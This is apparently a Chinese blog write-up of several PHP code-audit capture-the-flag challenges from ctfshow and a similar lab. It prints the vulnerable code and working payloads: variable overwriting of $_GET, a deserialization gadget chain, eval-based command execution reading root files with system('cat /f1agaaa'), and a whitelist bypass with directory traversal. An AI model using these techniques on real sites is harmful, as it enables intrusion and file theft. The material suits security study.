永不言弃2苹果版
204.4M · 2025-09-18
这里的话将会延续上次的php代审主题,相关的题目依旧是来自ctfshow的菜狗杯(我是菜狗...)然后之后的各种类型也会慢慢更新。
代码如下:
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die($flag);
}
else{
die("nonono!");
}
}
这道题比较奇怪,url拼接中只要参数有0,直接就会弹出flag。仔细一看发现是if判断中的问题,这里的判断语句"$arr[]=1"是赋值语句,导致判断永真(稀里糊涂地就过了...)。
后来我看了其他大佬的题解,是使用了数组整数溢出来绕过的,也就是说if与else中的内容互换就对了。
payload:
?0=9223372036854775807
代码如下:
<?php
include "flag.php";
highlight_file(__FILE__);
$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
$$key=$$value;
}
if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}
这一题是比较经典的绕过题,重点是语句"var_dump($_GET)",该语句实现的是输出每一个get方式传入参数的键值对的内容以及类型。
foreach()函数中遍历每一个键值对,然后实现value。这里有一个漏洞点,假如我们传入的参数是_GET,那么这里就变为 $_GET={...},之后的var_dump()函数是不是就能“等量代换”了?从而输出我们想要的内容?
于是payload
?_GET=flag
var_dump()函数就能打印出$flag的内容了
代码如下:
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!n";
}
}
public function __toString(){
$this->call();
return "tttttttttt----".$this->nickname;
}
}
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
}
这是一道反序列化的题目,需要进行构造作为code参数传入。
我们分析一下,只有在nickname=“小甜甜”以及call()函数被调用的时候,才能输出flag。但是call()函数的调用首先需要的是魔术方法__toString()的调用,在该类中无调用__toString的途径。
后面上网查了一下,当对象处于 “需要被转换为字符串” 的场景时,__toString()
会被自动调用,并返回一个字符串。我们发现Moon类中的__wakeup()函数中存在"$this->name",这里可以利用一下。
序列化代码:
<?php
class Moon{
public $name;
}
class Ion_Fan_Princess{
public $nickname;
}
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname = '小甜甜';
echo serialize($a);
?>
我们将new出来的Ion_Fan_Princess类赋值给 $a的name变量,使其满足Ion_Fan_Princess类中__toString()函数的自动调用条件(),再使得nickname为“小甜甜”即可
序列化:
O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}
最终得到flag
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
乍一看比较复杂,我们需要由里到外逐层分析
第一层,传入的是cookie值,我们令'CTFshow-QQ群:'=a,那么第二层:$_POST[a]
第二层,这里需要的是POST方法传参,我们令a=b,那么第三层:$_GET[b]
第三层,同理,GET方法传参,我们令b=c,那么第四层:$_REQUESST[c]
实际上这里的c是作为数组传入,后面是具体下标,我们可以在此拼接命令,例如c[6][0][7][5][8][0][9][4][4]=system('ls /'); 来查看根目录下的文件。
我们在bp中改包,记得需要将'CTFshow-QQ群:'进行url编码,然后记得改为POST上传,查看到的内容如下:
bin dev etc f1agaaa home lib media mnt proc root run sbin srv sys tmp usr var
改为system('cat /f1agaaa');即可查看到flag内容。
F12,查看源码,发现有source.php,访问之后,代码如下
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
}
?>
发现有一个hint.php,我们访问一下,发现给了flag文件名。
接着进行代码审计
主要函数有mb_substr(start,$length), 实现截取一定条件下的子串,第一个参数是原字符串,第二个参数是截取开始的下标,第三个参数是截取的长度。
以及mb_strpos(a) ,实现的是返回字符串中特定字符第一次出现的下标,第一个参数是原字符串,第二个参数是特定字符。
需要传入的参数要满足是string字符串,以及能够过emm类中的白名单限制。
我们传递的参数需要有hint.php,或者source.php。
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
这段代码表示了只需要参数值中第一个?之前的值,所以只需要hint.php?...,后面拼接flag文件名即可成功绕过。
接着还是类似的代码,第二次绕过,仔细看发现这里是同理的。
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
结合大佬的题解,一般source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,所以需要至少四层,我们可以返回到根目录下。
payload
?file=hint.php?/../../../../ffffllllaaaagggg
最后是可以得到flag。